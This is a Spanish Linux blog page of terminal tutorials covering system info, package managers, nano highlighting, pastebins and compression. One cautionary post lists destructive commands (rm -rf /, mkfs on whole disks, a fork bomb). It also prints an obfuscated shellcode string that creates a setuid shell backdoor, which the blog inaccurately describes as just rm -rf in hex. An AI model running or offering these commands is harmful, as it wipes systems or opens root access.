| Subcribe via RSS

Conociendo tu sistema

August 17th, 2010 | 1 Comment | Posted in HOWTO, Terminal, linux

Muchas veces no nos damos el tiempo de aprender a conocer lo basico de nuestro sistema, considero basico el poder monotear nuestro hardware, revisar nuestros discos duros (en cuestion de espacio disponible/utilizado y puntos de montaje) y demas detalles de administracion del sistema.

No es menosprecio a las interfaces graficas que ya existen, solo considero que es necesario, como minimo, saber sacar cierta informacion via terminal para cuando algo falle o no tengamos interface de 2 clicks y ya, espero les sea tan util como a mi:

Uname

Imprime informacion del sistema.

Con ciertas opciones interesantes:

-m, –machine
Imprime el tipo de máquina (hardware).
-n, –nodename
Imprime el hostname del nodo de red de la máquina.
-r, –release
Imprime la versión del sistema operativo.
-s, –sysname
Imprime el nombre del sistema operativo.
-v
Imprime la fecha de compilación del sistema operativo.
-a, –all
Imprime toda la información anterior.
–help
Imprime un mensaje de uso en la salida estándar y termina satisfactoriamente.
–version
Imprime información sobre la versión por la salida estándar y termina satisfactoriamente.

Uname - salida

dmidecode
Lo que hace este comando es leer la información del BIOS directamente y regresar un listado muy completo de todo el hardware encontrado en el equipo. DMI es por Desktop Management interface y lee la información del llamado SMBIOS (System Management BIOS). More »

Nuevo Pacman 3.4.0 y solucion al error de libalpm.so.4

June 22nd, 2010 | 1 Comment | Posted in ArchLinux, Terminal, software

archlogo

Esta mañana actualize pacman a su version 3.4.0 que segun el post ofcicial de ArchLinux.org viene con mejoras como:

Nueva opción: “Architectura”, que permite restringir la instalación de paquetes que no sean para una determinada arquitectura (x86 o x86_64).
Resolucion de dependencias automaticamente a la hora de instalar un paquete de manera local
Opciones -U y -R siempre preguntaran por confirmacion.
Nueva Opcion de upgrade al actualizar la lista de paquetes con “pacman -Syu”
Actualizacion mas rapida de repositorios, ahora solo descarga la lista de cambios en vez de la informacion completa
Nuevas opciones –print and –print-format pueden ser utilizadas a la hora de usar pacman en scripts.

y mas cambios que pueden ser vistos aqui

Ahora, hay un porblema al actualizar pacman, yaourt deja de funcionar mandando un error que dice:

package-query: error while loading shared libraries: libalpm.so.4: cannot open shared object file: No such file or directory

Lo cual no es un bug, solo un error de archivos de confoguracion que se soluciona asi:

desinstalamos package-query y yaourt:

# pacman -Rd package-query yaourt

Limpiamos la cache de pacman:

# pacman -Scc

Descargamos e instalas package-query de manera manual:

wget http://repo.archlinux.fr/i686/package-query-0.3-2-i686.pkg.tar.xz

Y lo instalamos:

pacman -U /package-query-0.3-2-i686.pkg.tar.xz

Finalmente einstalamos yaourt:

# pacman -S yaourt

Y listo, error corregido nuevo pacman y yaourt reinstalado funcionando

Resaltado de sintaxis en nano

February 19th, 2010 | No Comments | Posted in HOWTO, Terminal

Esto es un truco viejo, configuracion que casi todos conociamos pero es bueno tenerlo a la mano para quien lo llegara a necesitar.

Nano es un poderoso y sencillo de usar editor de texto en terminal, esta incluido en casi todas (si no es que todas) las distribuciones de GNU/Linux. Nano se puede configurar para resaltar sintaxis de diferentes lenguajes de programacion, haciendo aun mas util este editor de texto.

Para habilitar el resaltado de sintaxis, editamos el archivo de configuracion de nano… con nano:

sudo nano /etc/nanorc

Y vamos al final del archivo y descomentamos las lineas que habilitan resaltar sintaxis:

## Nanorc files
include "/usr/share/nano/nanorc.nanorc"

## C/C++
include “/usr/share/nano/c.nanorc”

## HTML
include “/usr/share/nano/html.nanorc”

## TeX
include “/usr/share/nano/tex.nanorc”

## Quoted emails (under e.g. mutt)
include “/usr/share/nano/mutt.nanorc”

## Patch files
include “/usr/share/nano/patch.nanorc”

## Manpages
include “/usr/share/nano/man.nanorc”

## Groff
include “/usr/share/nano/groff.nanorc”

## Perl
include “/usr/share/nano/perl.nanorc”

## Python
include “/usr/share/nano/python.nanorc”

## Ruby
include “/usr/share/nano/ruby.nanorc”

## Java
include “/usr/share/nano/java.nanorc”

## Assembler
include “/usr/share/nano/asm.nanorc”

## Bourne shell scripts
include “/usr/share/nano/sh.nanorc”

## POV-Ray
include “/usr/share/nano/pov.nanorc”

Guardamos y cerramos (ctrl-o +crtl+x), abrimos algun archivos script, de java, python o demas, y veremos la diferencia:

Edit

Via WebUpd8 encuentro mas reslatadores de sintaxis disponibles para nano, dano reslatado de sintaxis para el xorg.conf, archivos conf genericos, php, css y xml, para habilitarlo:

Descargamos el paquete:

wget http://blog.sckyzo.com/wp-content/nano-supplement.tar

Descomprimimos y movemos al directorio de nano:

tar -xvf nano-supplement.tar
sudo mv *nanorc /usr/share/nano
sudo rm /usr/share/nano/sourceslist.nanorc

Editando el /etc/nanorc agregamos al final del archivo las siguientes lineas:

## Config Files (.ini)
include “/usr/share/nano/ini.nanorc”

## Xorg.conf
include “/usr/share/nano/xorg.nanorc”

## CSS
include “/usr/share/nano/css.nanorc”

## XML
include “/usr/share/nano/xml.nanorc”

## Generic .conf
include “/usr/share/nano/conf.nanorc”

## PHP
include “/usr/share/nano/php.nanorc”

Pastebin desde Terminal

November 6th, 2009 | 1 Comment | Posted in HOWTO, Terminal

Un pastebin es un sitio donde podemos pegar codigo o salidas de comandos en terminal para que otras personas en la web los vean, lo util de esto es que los pastebin respetan las sintaxis de los lenguajes de programacion e incluso unos tienen codificacion de colores.

Estas pastebins son usados por ejemplo cuando tenemos una duda acerca de algun codigo en especifico y andamos buscando soluciones en los canales del IRC, la idea es simple: copiamos la salida del comando o codigo, lo pegamos en un pastebin, este nos da una url del codigo y este url la compartimos con quien sea, el que visite la url vera el codigo tal cual.

Hasta ahi va simple, pero hay veces que no tenemos interfaz grafica para copiar/pegar en una web el codigo, asi que como lo hacemos desde terminal?

Encontre 2 formas hasta el momento:

Usando sprunge.us
Es la que me salvo la vida aquella vez del problema de xorg, el canal de irc me pedia la salida de mi xorg.conf pero no tenia interfaz grafica donde mostrarla, no requiere ningun script ni nada por el estilo y su sintaxis es muy simple:

[comando] | curl -F 'sprunge=<-' http://sprunge.us

Por citar un ejemplo, un pastebin de mi xorg seria asi

[lira@Demostenes ~]$ cat /etc/X11/xorg.conf | curl -F 'sprunge=<-' http://sprunge.us

http://sprunge.us/JTPL

Donde si damos click en http://sprunge.us/JTPL nos da la salida del comando cat /etc/X11/xorg.conf en mi equipo, esa url es mas facil de compartir que teclear todo el xorg

usando wgetpaste
Este se supone que tiene mas opciones pero tambien requiere que descargemos un script para que funcione, el script se descarga asi:

wget http://wgetpaste.zlin.dk/wgetpaste-2.14.tar.bz2

Lo descomprimimos:

tar -xjf wgetpaste-2.14.tar.bz2

Y vamos a su directorio:

cd wgetpaste-2.14

Dentro del directorio podemos ejecutar un programa y direcionar su salida a wgetpaste:

[comando]| ./wgetpaste

citando el ejemplo anterior:
[lira@Demostenes wgetpaste-2.14]$ cat /etc/X11/xorg.conf | ./wgetpaste
Your paste can be seen here: http://dpaste.com/117142/

Wgetpaste debe ser ejecutado desde el directorio donde esta el script. Si conocen otros medios de pastebin desde terminal mas sencillos, comentenmelo.

Comprimir/Descomprimir desde Terminal

October 2nd, 2009 | 3 Comments | Posted in HOWTO, Terminal

Los archivos/directorios comprimidos existen casi desde que existe Unix, y hay muchas variantes mas alla de los conocidos rar, zip o tar, aqui una tabla de comandos compresion, descompresion de los tipos de archivos comprimidos mas usados en Linux, espero y les sea util

.tar (tar)
Empaquetar tar cvf archivo.tar archivo1 archivo2…
Desempaquetar tar xvf archivo.tar
Ver el contenido (sin extraer) tar tvf archivo.tar

.tar.gz – .tar.z – .tgz (tar con gzip)
Empaquetar y comprimir tar czvf archivo.tar.gz archivo1 archivo2….
Desempaquetar y descomprimir tar xzvf archivo.tar.gz
Ver el contenido (sin extraer) tar tzvf archivo.tar.gz

.gz (gzip)
Comprimir gzip -q archivo
comprime y renombra el archivo como “archivo.gz”, solo comprime archivos, no directorios
Descomprimir gzip -d archivo.gz
descomprime y lo deja como “archivo”

.bz2 (bzip2)
Comprimir bzip2 archivo
bunzip2 archivo
comprime y renombra el archivo como “archivo.bz2″, solo comprime archivos, no directorios
Descomprimir bzip2 -d archivo.bz2
bunzip2 archivo.bz2
descomprime y lo deja como “archivo”

.tar.bz2 (tar con bzip2)
Comprimir tar -c archivo1 archivo2 | bzip2 > archivo.tar.bz2
Descomprimir tar jvxf archivo.tar.bz2 (versiones recientes de tar)
Ver contenido bzip2 -dc archivo.tar.bz2 | tar -tv

.zip (zip)
Comprimir zip archivo.zip /mayo/archivos archivo1 archivo2…
Descomprimir unzip archivo.zip
Ver contenido unzip -v archivo.zip

.rar (rar)
Comprimir rar a archivo.rar archivo1 archivo2… El subfijo a es sin el signo de – como posteaba otros sitios
Descomprimir rar x archivo.rar
Ver contenido rar v archivo.rar
rar l archivo.rar

Nota Los formatos Rar y Zip son propietarios y hay que instalar soporte para los archivos en cada distro

Guia rapida de apt

February 18th, 2009 | 1 Comment | Posted in Terminal, Ubuntu

Igual que en la guia de yum del post anterior, sige una referencia rapida del gestor de paquetes apt usado en Debian/Ubuntu, sin explicaciones ni revisiones entre apt y aptitude, dedicado a algunos companeros de la universidad que empiezan en esto de usar Linux:

ManPage de apt oficial de ubuntu, en ingles.
Archivo de repositorios > /etc/apt/sources.list
Archivo de configuracion > /etc/apt/apt.conf
Directorio de la cache de archivos descargados > /var/cache/apt/archives/

Bajar e instalar un paquete:
apt-get install paquete

Actualizar la base de datos de paquetes:
apt-get update

Actualizar todos los paquetes actualmente instalados a la última versión:
apt-get upgrade

Actualizar todos los paquetes del sistema incluyendo paquetes del sistema base y paquetes nuevos, util para actualizar la version completa de la distribucion:
apt-get dist-upgrade

Desinstalar paquete:
apt-get remove paquete

Desinstalar paquete, sus archivos de configuración, y marcarlo como que nunca fué instalado:
apt-get –purge remove paquete

Buscar paquetes con un criterio:
apt-cache search paquete

Información sobre un paquete instalado:
dpkg -s paquete

Averiguar a que paquete pertenece un archivo de configuración:
dpkg -S archivo.conf

Listar que archivos contiene un paquete:
apt-file list paquete

Averiguar que paquetes proveen un archivo específico:
apt-file search archivo

Limpiar la cache (/var/cache/apt/archives/) de archivos descargados, instalados o eliminados, util para liberar espacio en disco
apt-get clean

Igual que el comando anterior, autoclean limpia la cache local de apt con la diferencia que este solo borra archivos que ya no son descargables o actualizables, por lo cual se vuelven obsoletos, util para mantener una cache actualizada de archivos instalados.
apt-get autoclean

Eliminar paquetes que fueron instalados para resolver dependencias de otros paquetes y que ya no son necesarios (paquetes huerfanos – basura)
apt-get autoremove

Guia Rapida de Yum

February 18th, 2009 | 2 Comments | Posted in Fedora, Terminal

Hoy, haciendo limpia a mis cosas encontre unos post guardados desde hace tiempo que queria usar de guias rapidas, empezare con la guia rapida de yum.

Quienes hayan usado Debian o Ubuntu o cualquier distro basada en paquetes .deb habra utilizado el gestor apt (dervidado de aptitude) asi que el manejo en consola de yum no le parecera ningun problema.

Los archivos de configuracion son:

  • /etc/yum.conf – archivo de configuración.
  • /etc/yum.repos.d – directorio de depósitos o repositorios.
  • /var/log/yum.log – archivo de bitácora.

sitio oficial de yum

Uso en terminal:

Instala la última versión del paquete indicado. Con esta sintaxis pedira confirmacion de instalacion.
yum install paquete

Autoaceptando la confirmacion:
yum -y install paquete

Instalar varios paquetes en una sola instruccion, solo separados por un espacio en blanco:
yum -y install paquete1 paquete2

Remueve (desinstala) el paquete indicado.
yum remove paquete

Actualiza todos los paquetes en el sistema.
yum -y update

Actualiza todos los paquetes del sistema, excepto el paquete mencionado.
yum -y update --exclude=paquete

Actualizar los paquetes indicados, pero tomando en cuenta paquetes obsoletos en el cálculo de la actualización. Esta opción es idéntica a yum -y –obsoletes update.
yum -y upgrade

Muestra una lista de paquetes que necesitan ser actualizados.
yum check-update

Descripción completa del paquete indicado, in importar que este instalado o no
yum info paquete

Lista de todos los paquetes instalados en el sistema.
yum list installed

Lista de todos los paquetes disponibles para ser instalados.
yum list available

Lista de todos los paquetes disponibles para ser actualizados.
yum list updates

Busca el ‘paquete’ en la base de datos de paquetes instalados o disponibles. ‘paquete’ puede ser una palabra parcial del paquete a buscar, listara todos los paquetes que contengan el nombre del paquete a buscar.
yum search paquete

Cuando utilizas la opción ‘update’ o ‘install’ el paquete que se desacrga e instala o actualiza no se elimina del sistema, ocupando espacio, con esta opción eliminas esos paquetes.
yum clean packages

Lista los repositorios que se tengan de yum.
yum repolist

Como puedes ver su funcionamiento es muy intuitivo y parecido a aptitude o apt de debian. Es relativamente facil de usar tambien. Cabe aclarar que por paquete me referia a programa, biblioteca de sistema, conjunto de programas o suites. La gestion de repositorios es totalmente difrente a la de apt y eso seria cosa de otro post.

Destruyendo Sistemas Operativos

December 5th, 2008 | 1 Comment | Posted in Terminal, linux, windows

Estos videos los vi en el blog de Pillateunlinux (Blog altamente recomendado) y se me hicieron realmente buenos, ya habia platicado aqui de comandos peligrosos pero nada como una serie de sadisticos ejemplos para dejarnos mas claras las cosas:

Windows XP

Mac OS X

OpenSolaris 2008.05

FreeBSD

Ubuntu

…Me dan ganas de probar eso en una maquinita virtual…

Terminal: Comandos que nunca, NUNCA debes ejecutar en Linux

October 25th, 2008 | 4 Comments | Posted in Terminal

La consola de linux es por mucho la herramienta de administracion de sistema mas versatil y practica, no por nada la mayoria de los tutoriales vienen con comandos en terminal a pesar de que se puede hacer exactamente lo mismo en una GUI (Interfaz Grafica de Usuario en ingles), como agregar repositorios por ejemplo.

Pero tambien puede ser un arma de doble filo, por que GNU/Linux puede poseer comandos para borrarse o corromperse por completo, si se usan de manera inapropiada, y aqui pondre una muestra de esos comandos, que hacen y el por que nunca jamas debes ejecutarlos, si no es con conciencia plena de las consecuencias:

sudo rm -rf /

Que hace? Simple, borra absolutamente todo el contenido del disco duro empezando por el directorio root (la raiz y padre de todos los directorios), seria como un autoborrar, un suicidio virtual y gnu pues.
Como funciona? sudo se refiere a privilegios de administrador necesarios para borrar elementos de sistema, rm es remover, quitar; -r es recursivo, o sea a la carpeta y las carpetas y archivos dentro de esa carpeta y los archivos y carpetas de esas carpetas y asi; f es forzado que vendria siendo como no me preguntes si realmente lo quiero hacer, hazlo y ya!

Hay algunas variables de este comandillo que hacen mas o menos lo mismo:

rm -rf .
rm -rf *

Que vendria siendo la misma sentencia pero en vez del directorio raiz(/) le decimos que borre todo de todo. Hay versiones tan maquilladas y editadas que podrian venir en cualquier script bajado de x lugar:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Que no es mas que el mismo rm -rf en hexadecimal.

/dev/null

/dev/null es un directorio a donde no quieres ir, punto. Merece una explicacion mas grande pero este directorio es como el agujero negro del sistema, todo lo que este dentro de /dev/null o este ligado a el dejara de existir, asi que comandos como este:

mv /home/tu-directorio-home/* /dev/null

Mueve tu home a null, home deja de existir, siendo asi que cualquier cosa que muevas a este directorio sea carpeta o archivo, dejara de existir, asi como asi.

Bloquear el equipo desde terminal.

Con algo aparentemente tan inofensivo como esto puedes bloquear por completo el equipo haciendo que sea necesario reiniciarlo al clasico estilo del botonazo, algo chistoso seria poner este comandito en algun nivel del init.d, o en sesiones, la solucion en este caso se puede, pero no va a ser facil.

Formatear discos duros sin querer

mkfs.ext3 /dev/sda
mkfs.ext3 /dev/sdb
mkfs.ext3 /dev/ide

Que hacen estos comandillos? formatea por completo en sistema de archios ext3, en cualquiera de estas 3 variables, dependiendo del tipo de disco duro dara algunos avisos del formateo eso si, pero es peligroso para cualquier persona que dice que si, nomas por que si, asi que tambien cuidado.

Borrado de otros directorios.

Estos son algunos ejemplos de borrado de archivos que NO DEBEMOS TOCAR a menos que sepamos que estamos haciendo. “borrados accidentales”:

sudo rm /boot/vmlinuz*
sudo rm /sbin/init
sudo rm /bin/

En resumen, no te recomiendo borrar nada que no este dentro de tu directorio home (/home/tu nombre de usuario) a menos que estes completamente seguro de lo que haces, recordemos que en GNU/Linux no hay el “es que la compu fallo” aqui solo puede haber error de capa 8.

EDIT

El camarada de tuxcaos me recordo este otro (gracias men!):

:( ){ :| :& };:

Esta linea de caracteres que mas bien parece un nick de messenger de chavito de secundaria es inclusive tambien poderoso en distros o sistemas no actualizados ya que solo necesita una cuenta de invitado, lo que hara este fork bomb es ciclar la computadora (desktop, laptop, server, tostadora) y obligarlo a un reboot de hardware (botonazo), encontre una muy buena explicacion de este comando que pongo aqui:

Crea una funcion llamada “:” que no acepta argumentos, esa es la parte “:()” de la sentencia.

El condigo en la funcion llama recurivamente la funcion enruta la salida de la funcion en otra invocaion de una funcion (esto es la parte de  :| :). El caracter de & manda el proceso a segundo plano de esa forma el proceso hijo no muere si su proceso padre es terminado. La funcion en si es invocada 2 veces, por lo cual se logra un crecimiento exponencial de procesos corriendo.

El punto y coma despues de la ejecucion termina la funion y los 2 puntos al final manda llamar la funcion, que es lo que vendria siendo lo que acciona la bombita!

Sabes de otro comandillo peligroso en manos torpes?

Terminal: Espacios en blanco en los nombres de archivos o carpetas

August 26th, 2008 | 2 Comments | Posted in Terminal

Una de las cosas mas basicas de la navegacion de archivos en GNU/Linux son el manejo de espacios en blanco, mea culpa, olvide por completo comentar al respecto en el otro post de navegacion y manejo de archivos, asi que mas vale tarde que nunca:

Hagamos un experimento, creemos una carpeta con el nombre “espacio en blanco” asi tal cual sin las comillas, cuando queramos acceder a ella desde terminal va a ser un poco dificil:

astaroth@soledad:~$ cd espacio en blanco
bash: cd: espacio: No existe el fichero ó directorio

Y que conste que la carpeta si existe:

drwxr-xr-x 2 astaroth astaroth 4096 2008-08-26 17:47 espacio en blanco

Entonces como manejar ese *&^% espacio en blanco??
Hay de 3 formas:

Poniendo entre comillas el directorio o archivo que contiene los espacios.

astaroth@soledad:~$ cd “espacio en blanco”
astaroth@soledad:~/espacio en blanco$

Utilizando la tecla tabulador o Tab (la de arriba de caps Lock).
Esto lo haríamos escribiendo las primeras letras del directorio y apretando TAB.

astaroth@soledad:~$ cd espacio + Tab = astaroth@soledad:~/espacio en blanco$

Utilizando la barra invertida “\” como lo utiliza el metodo de Tab. Introduciendo a mano la barra invertida seguida de un espacio en blanco al inicio de cada espacio en blanco (Sic.).

astaroth@soledad:~$ cd espacio\ en\ blanco
astaroth@soledad:~/espacio en blanco$

Otra de las cosas que hay que aclarar es que estos metodos tambien son validos con archivos